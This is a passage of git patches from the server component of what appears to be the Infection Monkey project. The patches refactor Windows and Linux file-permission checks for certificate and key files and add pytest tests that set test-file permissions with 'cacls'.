15:59:47 +0530 Subject: [PATCH 0727/1360] Fix Windows file permissions checking --- .../monkey_island/cc/server_utils/file_utils.py | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 77720917125..82184e168a5 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -9,9 +9,16 @@ def expand_path(path: str) -> str: def has_expected_permissions(path: str, expected_permissions: int) -> bool: if is_windows_os(): + # checks that admin has any permissions, user has `expected_permissions`, + # and everyone else has no permissions + import win32api # noqa: E402 import win32security # noqa: E402 + FULL_CONTROL = 2032127 + ACE_TYPE_ALLOW = 0 + ACE_TYPE_DENY = 1 + admins_sid, _, _ = win32security.LookupAccountName("", "Administrators") user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) @@ -23,15 +30,18 @@ def has_expected_permissions(path: str, expected_permissions: int) -> bool: for i in range(acl.GetAceCount()): ace = acl.GetAce(i) - sid = ace[-1] + ace_type, _ = ace[0] # 0 for allow, 1 for deny permissions = ace[1] + sid = ace[-1] + if sid == user_sid: - if permissions != expected_permissions: + if not (permissions == expected_permissions and ace_type == ACE_TYPE_ALLOW): return False elif sid == admins_sid: continue + # TODO: consider removing; so many system accounts/groups exist, it's likely to fail else: - if permissions != 2032127: # everyone but user & admins should have no permissions + if not (permissions == FULL_CONTROL and ace_type == ACE_TYPE_DENY): return False return True From cd2f627cc17e579850b9bab6e40d8bdbd9292040 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 9 Jun 2021 16:01:47 +0530 Subject: [PATCH 0728/1360] Add tests for Windows file permissions checking --- .../cc/server_utils/test_file_utils.py | 25 +++++++++++++++++-- 1 file changed, 23 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index e9dc3eddc39..cfe7d0e77d3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -1,6 +1,7 @@ import os import pytest +import subprocess from monkey_island.cc.server_utils import file_utils @@ -20,7 +21,7 @@ def test_expand_vars(patched_home_env): @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_has_expected_permissions_true(tmpdir, create_empty_file): +def test_has_expected_permissions_true_linux(tmpdir, create_empty_file): file_name = f"{tmpdir}/test" create_empty_file(file_name) @@ -30,10 +31,30 @@ def test_has_expected_permissions_true(tmpdir, create_empty_file): @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_has_expected_permissions_false(tmpdir, create_empty_file): +def test_has_expected_permissions_false_linux(tmpdir, create_empty_file): file_name = f"{tmpdir}/test" create_empty_file(file_name) os.chmod(file_name, 0o755) assert not file_utils.has_expected_permissions(file_name, 0o700) + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_has_expected_permissions_true_windows(tmpdir, create_empty_file): + file_name = f"{tmpdir}/test" + + create_empty_file(file_name) + subprocess.run(f"echo y| cacls {file_name} /p %USERNAME%:F", shell=True) + + assert file_utils.has_expected_permissions(file_name, 2032127) + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_has_expected_permissions_false_windows(tmpdir, create_empty_file): + file_name = f"{tmpdir}/test" + + create_empty_file(file_name) + subprocess.run(f"echo y| cacls {file_name} /p %USERNAME%:R", shell=True) + + assert not file_utils.has_expected_permissions(file_name, 2032127) From dc8e2b018d8f1bc772fdc4f987d369d2ae5ebbbe Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 9 Jun 2021 16:12:51 +0530 Subject: [PATCH 0729/1360] Fix/ignore flake8 and fix isort warnings --- monkey/monkey_island/cc/setup/config_setup.py | 2 +- .../monkey_island/cc/server_utils/test_file_utils.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index 3621ea7fc3d..110df9f415b 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -4,7 +4,7 @@ from monkey_island.cc.environment import server_config_handler from monkey_island.cc.environment.utils import create_secure_directory from monkey_island.cc.server_utils import file_utils -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH from monkey_island.cc.setup.island_config_options import IslandConfigOptions diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index cfe7d0e77d3..e912ca04363 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -1,7 +1,7 @@ import os +import subprocess import pytest -import subprocess from monkey_island.cc.server_utils import file_utils @@ -45,7 +45,7 @@ def test_has_expected_permissions_true_windows(tmpdir, create_empty_file): file_name = f"{tmpdir}/test" create_empty_file(file_name) - subprocess.run(f"echo y| cacls {file_name} /p %USERNAME%:F", shell=True) + subprocess.run(f"echo y| cacls {file_name} /p %USERNAME%:F", shell=True) # noqa: DUO116 assert file_utils.has_expected_permissions(file_name, 2032127) @@ -55,6 +55,6 @@ def test_has_expected_permissions_false_windows(tmpdir, create_empty_file): file_name = f"{tmpdir}/test" create_empty_file(file_name) - subprocess.run(f"echo y| cacls {file_name} /p %USERNAME%:R", shell=True) + subprocess.run(f"echo y| cacls {file_name} /p %USERNAME%:R", shell=True) # noqa: DUO116 assert not file_utils.has_expected_permissions(file_name, 2032127) From 945e1adf58daa93211a1ea95c65e4f4d9354e24c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Jun 2021 09:47:23 -0400 Subject: [PATCH 0730/1360] island: Split has_expected_permissions() into os-specific functions --- .../cc/server_utils/file_utils.py | 71 ++++++++++--------- 1 file changed, 39 insertions(+), 32 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 82184e168a5..cf8d344e0ca 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -9,45 +9,52 @@ def expand_path(path: str) -> str: def has_expected_permissions(path: str, expected_permissions: int) -> bool: if is_windows_os(): - # checks that admin has any permissions, user has `expected_permissions`, - # and everyone else has no permissions + return _has_expected_windows_permissions(path, expected_permissions) - import win32api # noqa: E402 - import win32security # noqa: E402 + return _has_expected_linux_permissions(path, expected_permissions) - FULL_CONTROL = 2032127 - ACE_TYPE_ALLOW = 0 - ACE_TYPE_DENY = 1 - admins_sid, _, _ = win32security.LookupAccountName("", "Administrators") - user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) +def _has_expected_linux_permissions(path: str, expected_permissions: int) -> bool: + file_mode = os.stat(path).st_mode + file_permissions = file_mode & 0o777 - security_descriptor = win32security.GetNamedSecurityInfo( - path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION - ) + return file_permissions == expected_permissions - acl = security_descriptor.GetSecurityDescriptorDacl() - for i in range(acl.GetAceCount()): - ace = acl.GetAce(i) - ace_type, _ = ace[0] # 0 for allow, 1 for deny - permissions = ace[1] - sid = ace[-1] +def _has_expected_windows_permissions(path: str, expected_permissions: int) -> bool: + # checks that admin has any permissions, user has `expected_permissions`, + # and everyone else has no permissions - if sid == user_sid: - if not (permissions == expected_permissions and ace_type == ACE_TYPE_ALLOW): - return False - elif sid == admins_sid: - continue - # TODO: consider removing; so many system accounts/groups exist, it's likely to fail - else: - if not (permissions == FULL_CONTROL and ace_type == ACE_TYPE_DENY): - return False + import win32api # noqa: E402 + import win32security # noqa: E402 - return True + FULL_CONTROL = 2032127 + ACE_TYPE_ALLOW = 0 + ACE_TYPE_DENY = 1 - else: - file_mode = os.stat(path).st_mode - file_permissions = file_mode & 0o777 + admins_sid, _, _ = win32security.LookupAccountName("", "Administrators") + user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) - return file_permissions == expected_permissions + security_descriptor = win32security.GetNamedSecurityInfo( + path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + ) + + acl = security_descriptor.GetSecurityDescriptorDacl() + + for i in range(acl.GetAceCount()): + ace = acl.GetAce(i) + ace_type, _ = ace[0] # 0 for allow, 1 for deny + permissions = ace[1] + sid = ace[-1] + + if sid == user_sid: + if not (permissions == expected_permissions and ace_type == ACE_TYPE_ALLOW): + return False + elif sid == admins_sid: + continue + # TODO: consider removing; so many system accounts/groups exist, it's likely to fail + else: + if not (permissions == FULL_CONTROL and ace_type == ACE_TYPE_DENY): + return False + + return True From b30de00305f51f0fb3148cb1274ac8778941315d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Jun 2021 10:02:44 -0400 Subject: [PATCH 0731/1360] Update encryption/decryption PR numbers in changelog Co-authored-by: Shreya Malviya --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 618a504eb4a..b08f01a0235 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -48,4 +48,4 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Security - Address minor issues discovered by Dlint. #1075 - Generate random passwords when creating a new user (create user PBA, ms08_67 exploit). #1174 -- Implemented configuration encryption/decryption #1172 +- Implemented configuration encryption/decryption. #1189, #1204 From 84b066442333ac85c113bd48e838c49308fb7919 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 9 Jun 2021 19:37:58 +0530 Subject: [PATCH 0732/1360] Modify comment in monkey_island/cc/server_utils/file_utils.py --- monkey/monkey_island/cc/server_utils/file_utils.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index cf8d344e0ca..e5a386684f4 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -22,8 +22,7 @@ def _has_expected_linux_permissions(path: str, expected_permissions: int) -> boo def _has_expected_windows_permissions(path: str, expected_permissions: int) -> bool: - # checks that admin has any permissions, user has `expected_permissions`, - # and everyone else has no permissions + # checks that user has `expected_permissions` and everyone else has no permissions import win32api # noqa: E402 import win32security # noqa: E402 From 424aceb1169f409a6cfbe6f3b22a96518bcf87ff Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 9 Jun 2021 19:38:45 +0530 Subject: [PATCH 0733/1360] Use constants instead of permission masks --- .../cc/setup/island_config_options_validator.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/setup/island_config_options_validator.py b/monkey/monkey_island/cc/setup/island_config_options_validator.py index fdf25ef8507..66df126beec 100644 --- a/monkey/monkey_island/cc/setup/island_config_options_validator.py +++ b/monkey/monkey_island/cc/setup/island_config_options_validator.py @@ -7,11 +7,14 @@ def raise_on_invalid_options(options: IslandConfigOptions): + LINUX_READ_ONLY_BY_USER = 0o400 + WINDOWS_READ_ONLY = 1179817 + _raise_if_not_isfile(options.crt_path) - _raise_if_incorrect_permissions(options.crt_path, 0o400, 1179817) + _raise_if_incorrect_permissions(options.crt_path, LINUX_READ_ONLY_BY_USER, WINDOWS_READ_ONLY) _raise_if_not_isfile(options.key_path) - _raise_if_incorrect_permissions(options.key_path, 0o400, 1179817) + _raise_if_incorrect_permissions(options.key_path, LINUX_READ_ONLY_BY_USER, WINDOWS_READ_ONLY) def _raise_if_not_isfile(f: str): From 91aad66e164bc24725092f506ef5b84a0fd17ba5 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 9 Jun 2021 19:44:35 +0530 Subject: [PATCH 0734/1360] Modify log message when checking file permissions Removed code to display it in octal since it makes no sense on Windows. Added `oct()` around linux permissions when expected_permissions is being defined. --- .../monkey_island/cc/setup/island_config_options_validator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/setup/island_config_options_validator.py b/monkey/monkey_island/cc/setup/island_config_options_validator.py index 66df126beec..fcfa524caac 100644 --- a/monkey/monkey_island/cc/setup/island_config_options_validator.py +++ b/monkey/monkey_island/cc/setup/island_config_options_validator.py @@ -26,9 +26,9 @@ def _raise_if_incorrect_permissions( f: str, linux_expected_permissions: int, windows_expected_permissions: int ): expected_permissions = ( - windows_expected_permissions if is_windows_os() else linux_expected_permissions + windows_expected_permissions if is_windows_os() else oct(linux_expected_permissions) ) if not has_expected_permissions(f, expected_permissions): raise InsecurePermissionsError( - f"The file {f} has incorrect permissions. Expected: {oct(expected_permissions)}" + f"The file {f} has incorrect permissions. Expected: {expected_permissions}" ) From 00b37ca6a5a9f190a54b5856bfffc71471bcc07e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Jun 2021 10:25:34 -0400 Subject: [PATCH 0735/1360] island: Test windows permissions set by create_secure_directory() --- .../cc/environment/test_utils.py | 27 +++++++++++++++ .../environment/test_windows_permissions.py | 34 ------------------- 2 files changed, 27 insertions(+), 34 deletions(-) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/environment/test_windows_permissions.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index fa2c4202b10..3d9898d64b6 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -50,3 +50,30 @@ def test_create_secure_directory__perm_linux(test_path_nested): create_secure_directory(test_path_nested, create_parent_dirs=True) st = os.stat(test_path_nested) return bool(st.st_mode & stat.S_IRWXU) + + +@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") +def test_create_secure_directory__perm_windows(test_path): + import win32api # noqa: E402 + import win32security # noqa: E402 + + FULL_CONTROL = 2032127 + ACE_TYPE_ALLOW = 0 + + create_secure_directory(test_path, create_parent_dirs=False) + + user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) + security_descriptor = win32security.GetNamedSecurityInfo( + test_path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + ) + acl = security_descriptor.GetSecurityDescriptorDacl() + + assert acl.GetAceCount() == 1 + + ace = acl.GetAce(0) + ace_type, _ = ace[0] # 0 for allow, 1 for deny + permissions = ace[1] + sid = ace[-1] + + assert sid == user_sid + assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_windows_permissions.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_windows_permissions.py deleted file mode 100644 index 6ac17255ebf..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_windows_permissions.py +++ /dev/null @@ -1,34 +0,0 @@ -import os - -import pytest - -from monkey_island.cc.environment.windows_permissions import set_perms_to_owner_only - - -@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") -def test_set_perms_to_owner_only(tmpdir): - import win32api # noqa: E402 - import win32security # noqa: E402 - - folder = str(tmpdir) - - set_perms_to_owner_only(folder) - - FULL_CONTROL = 2032127 - ACE_TYPE_ALLOW = 0 - - user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) - security_descriptor = win32security.GetNamedSecurityInfo( - folder, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION - ) - acl = security_descriptor.GetSecurityDescriptorDacl() - - assert acl.GetAceCount() == 1 - - ace = acl.GetAce(0) - ace_type, _ = ace[0] # 0 for allow, 1 for deny - permissions = ace[1] - sid = ace[-1] - - assert sid == user_sid - assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW From b98ebc8a693f790d09fd1aa1bf764ac6a31f08d4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Jun 2021 10:36:37 -0400 Subject: [PATCH 0736/1360] island: Remove tmpdir cleanup code from test_utils.py Pytest automatically cleans up tmpdir fixtures older than 3 runs. See https://docs.pytest.org/en/6.2.x/tmpdir.html#the-default-base-temporary-directory Windows10 and Linux will automatically clean their temp directories. --- .../monkey_island/cc/environment/test_utils.py | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index 3d9898d64b6..c373bc84afa 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -1,5 +1,4 @@ import os -import shutil import stat import pytest @@ -11,22 +10,16 @@ def test_path_nested(tmpdir): nested_path = "test1/test2/test3" path = os.path.join(tmpdir, nested_path) - yield path - try: - shutil.rmtree(os.path.join(tmpdir, "test1")) - except Exception: - pass + + return path @pytest.fixture def test_path(tmpdir): test_path = "test1" path = os.path.join(tmpdir, test_path) - yield path - try: - shutil.rmtree(path) - except Exception: - pass + + return path def test_create_secure_directory__parent_dirs(test_path_nested): From 8a321f029094e4af6f6321837377b2193994d223 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 9 Jun 2021 21:52:07 +0530 Subject: [PATCH 0737/1360] Add Windows tests for island_config_options_validator.py --- .../test_island_config_options_validator.py | 112 +++++++++++++++--- 1 file changed, 95 insertions(+), 17 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py index 1b1be671832..e3984099c8b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py @@ -1,4 +1,5 @@ import os +import subprocess import pytest @@ -7,15 +8,19 @@ from monkey_island.cc.setup.island_config_options_validator import raise_on_invalid_options +LINUX_READ_ONLY_BY_USER = 0o400 +LINUX_RWX_BY_ALL = 0o777 + @pytest.fixture -def island_config_options(tmpdir, create_empty_file): +def linux_island_config_options(tmpdir, create_empty_file): crt_file = os.path.join(tmpdir, "test.crt") create_empty_file(crt_file) - os.chmod(crt_file, 0o400) + os.chmod(crt_file, LINUX_READ_ONLY_BY_USER) key_file = os.path.join(tmpdir, "test.key") create_empty_file(key_file) - os.chmod(key_file, 0o400) + os.chmod(key_file, LINUX_READ_ONLY_BY_USER) + return IslandConfigOptions( { "ssl_certificate": { @@ -27,41 +32,114 @@ def island_config_options(tmpdir, create_empty_file): @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_valid_crt_and_key_paths(island_config_options): +def test_linux_valid_crt_and_key_paths(linux_island_config_options): try: - raise_on_invalid_options(island_config_options) + raise_on_invalid_options(linux_island_config_options) except Exception as ex: print(ex) assert False @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_crt_path_does_not_exist(island_config_options): - os.remove(island_config_options.crt_path) +def test_linux_crt_path_does_not_exist(linux_island_config_options): + os.remove(linux_island_config_options.crt_path) with pytest.raises(FileNotFoundError): - raise_on_invalid_options(island_config_options) + raise_on_invalid_options(linux_island_config_options) @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_crt_path_insecure_permissions(island_config_options): - os.chmod(island_config_options.crt_path, 0o777) +def test_linux_crt_path_insecure_permissions(linux_island_config_options): + os.chmod(linux_island_config_options.crt_path, LINUX_RWX_BY_ALL) with pytest.raises(InsecurePermissionsError): - raise_on_invalid_options(island_config_options) + raise_on_invalid_options(linux_island_config_options) @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_key_path_does_not_exist(island_config_options): - os.remove(island_config_options.key_path) +def test_linux_key_path_does_not_exist(linux_island_config_options): + os.remove(linux_island_config_options.key_path) with pytest.raises(FileNotFoundError): - raise_on_invalid_options(island_config_options) + raise_on_invalid_options(linux_island_config_options) @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_key_path_insecure_permissions(island_config_options): - os.chmod(island_config_options.key_path, 0o777) +def test_linux_key_path_insecure_permissions(linux_island_config_options): + os.chmod(linux_island_config_options.key_path, LINUX_RWX_BY_ALL) + + with pytest.raises(InsecurePermissionsError): + raise_on_invalid_options(linux_island_config_options) + + +@pytest.fixture +def windows_island_config_options(tmpdir, create_empty_file): + crt_file = os.path.join(tmpdir, "test.crt") + create_empty_file(crt_file) + cmd_to_change_permissions = get_windows_cmd_to_change_permissions(crt_file, 'R') + subprocess.run(cmd_to_change_permissions, shell=True) + + key_file = os.path.join(tmpdir, "test.key") + create_empty_file(key_file) + cmd_to_change_permissions = get_windows_cmd_to_change_permissions(key_file, 'R') + subprocess.run(cmd_to_change_permissions, shell=True) + + return IslandConfigOptions( + { + "ssl_certificate": { + "ssl_certificate_file": crt_file, + "ssl_certificate_key_file": key_file, + } + } + ) + + +def get_windows_cmd_to_change_permissions(file_name, permissions): + """ + :param file_name: name of file + :param permissions: can be: N (None), R (Read), W (Write), C (Change (write)), F (Full control) + """ + return f"echo y| cacls {file_name} /p %USERNAME%:{permissions}" + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_windows_valid_crt_and_key_paths(windows_island_config_options): + try: + raise_on_invalid_options(windows_island_config_options) + except Exception as ex: + print(ex) + assert False + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_windows_crt_path_does_not_exist(windows_island_config_options): + os.remove(windows_island_config_options.crt_path) + + with pytest.raises(FileNotFoundError): + raise_on_invalid_options(windows_island_config_options) + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_windows_crt_path_insecure_permissions(windows_island_config_options): + cmd_to_change_permissions = get_windows_cmd_to_change_permissions(windows_island_config_options.crt_path, 'W') + subprocess.run(cmd_to_change_permissions, shell=True) + + with pytest.raises(InsecurePermissionsError): + raise_on_invalid_options(windows_island_config_options) + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_windows_key_path_does_not_exist(windows_island_config_options): + os.remove(windows_island_config_options.key_path) + + with pytest.raises(FileNotFoundError): + raise_on_invalid_options(windows_island_config_options) + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_windows_key_path_insecure_permissions(windows_island_config_options): + cmd_to_change_permissions = get_windows_cmd_to_change_permissions(windows_island_config_options.key_path, 'W') + subprocess.run(cmd_to_change_permissions, shell=True) with pytest.raises(InsecurePermissionsError): - raise_on_invalid_options(island_config_options) + raise_on_invalid_options(windows_island_config_options) From 91a7c42a85494ad65a5cb5e36a1883f75501abec Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 9 Jun 2021 21:56:44 +0530 Subject: [PATCH 0738/1360] Format test_island_config_options_validator.py with black --- .../setup/test_island_config_options_validator.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py index e3984099c8b..d9df683b3ec 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py @@ -7,10 +7,10 @@ from monkey_island.cc.setup.island_config_options import IslandConfigOptions from monkey_island.cc.setup.island_config_options_validator import raise_on_invalid_options - LINUX_READ_ONLY_BY_USER = 0o400 LINUX_RWX_BY_ALL = 0o777 + @pytest.fixture def linux_island_config_options(tmpdir, create_empty_file): crt_file = os.path.join(tmpdir, "test.crt") @@ -76,12 +76,12 @@ def test_linux_key_path_insecure_permissions(linux_island_config_options): def windows_island_config_options(tmpdir, create_empty_file): crt_file = os.path.join(tmpdir, "test.crt") create_empty_file(crt_file) - cmd_to_change_permissions = get_windows_cmd_to_change_permissions(crt_file, 'R') + cmd_to_change_permissions = get_windows_cmd_to_change_permissions(crt_file, "R") subprocess.run(cmd_to_change_permissions, shell=True) key_file = os.path.join(tmpdir, "test.key") create_empty_file(key_file) - cmd_to_change_permissions = get_windows_cmd_to_change_permissions(key_file, 'R') + cmd_to_change_permissions = get_windows_cmd_to_change_permissions(key_file, "R") subprocess.run(cmd_to_change_permissions, shell=True) return IslandConfigOptions( @@ -121,7 +121,9 @@ def test_windows_crt_path_does_not_exist(windows_island_config_options): @pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") def test_windows_crt_path_insecure_permissions(windows_island_config_options): - cmd_to_change_permissions = get_windows_cmd_to_change_permissions(windows_island_config_options.crt_path, 'W') + cmd_to_change_permissions = get_windows_cmd_to_change_permissions( + windows_island_config_options.crt_path, "W" + ) subprocess.run(cmd_to_change_permissions, shell=True) with pytest.raises(InsecurePermissionsError): @@ -138,7 +140,9 @@ def test_windows_key_path_does_not_exist(windows_island_config_options): @pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") def test_windows_key_path_insecure_permissions(windows_island_config_options): - cmd_to_change_permissions = get_windows_cmd_to_change_permissions(windows_island_config_options.key_path, 'W') + cmd_to_change_permissions = get_windows_cmd_to_change_permissions( + windows_island_config_options.key_path, "W" + ) subprocess.run(cmd_to_change_permissions, shell=True) with pytest.raises(InsecurePermissionsError): From 5aaa844289088718260b967026ef788e534ae309 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 9 Jun 2021 22:00:44 +0530 Subject: [PATCH 0739/1360] Add missing constant in config_setup.py --- monkey/monkey_island/cc/setup/config_setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index 110df9f415b..3621ea7fc3d 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -4,7 +4,7 @@ from monkey_island.cc.environment import server_config_handler from monkey_island.cc.environment.utils import create_secure_directory from monkey_island.cc.server_utils import file_utils -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH from monkey_island.cc.setup.island_config_options import IslandConfigOptions From 7fe10af1b240c85293463b74b7946b43f53587b0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Jun 2021 13:55:48 -0400 Subject: [PATCH 0740/1360] island: Pass int, not str to has_expected_permissions() --- .../monkey_island/cc/setup/island_config_options_validator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/setup/island_config_options_validator.py b/monkey/monkey_island/cc/setup/island_config_options_validator.py index fcfa524caac..5febe16ab19 100644 --- a/monkey/monkey_island/cc/setup/island_config_options_validator.py +++ b/monkey/monkey_island/cc/setup/island_config_options_validator.py @@ -26,7 +26,7 @@ def _raise_if_incorrect_permissions( f: str, linux_expected_permissions: int, windows_expected_permissions: int ): expected_permissions = ( - windows_expected_permissions if is_windows_os() else oct(linux_expected_permissions) + windows_expected_permissions if is_windows_os() else linux_expected_permissions ) if not has_expected_permissions(f, expected_permissions): raise InsecurePermissionsError( From cf5b1378f2520aa21c888eb05656cc1aeb922d40 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Jun 2021 14:03:49 -0400 Subject: [PATCH 0741/1360] island: Consolidate duplicate code in test_island_config_options_validator --- .../test_island_config_options_validator.py | 69 +++++++++++-------- 1 file changed, 40 insertions(+), 29 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py index d9df683b3ec..8f79e000900 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py @@ -1,5 +1,6 @@ import os import subprocess +from collections.abc import Callable import pytest @@ -11,16 +12,7 @@ LINUX_RWX_BY_ALL = 0o777 -@pytest.fixture -def linux_island_config_options(tmpdir, create_empty_file): - crt_file = os.path.join(tmpdir, "test.crt") - create_empty_file(crt_file) - os.chmod(crt_file, LINUX_READ_ONLY_BY_USER) - - key_file = os.path.join(tmpdir, "test.key") - create_empty_file(key_file) - os.chmod(key_file, LINUX_READ_ONLY_BY_USER) - +def certificate_test_island_config_options(crt_file, key_file): return IslandConfigOptions( { "ssl_certificate": { @@ -31,6 +23,26 @@ def linux_island_config_options(tmpdir, create_empty_file): ) +@pytest.fixture +def linux_island_config_options(create_read_only_linux_file: Callable): + crt_file = create_read_only_linux_file("test.crt") + key_file = create_read_only_linux_file("test.key") + + return certificate_test_island_config_options(crt_file, key_file) + + +@pytest.fixture +def create_read_only_linux_file(tmpdir: str, create_empty_file: Callable) -> Callable: + def inner(file_name: str) -> str: + new_file = os.path.join(tmpdir, file_name) + create_empty_file(new_file) + 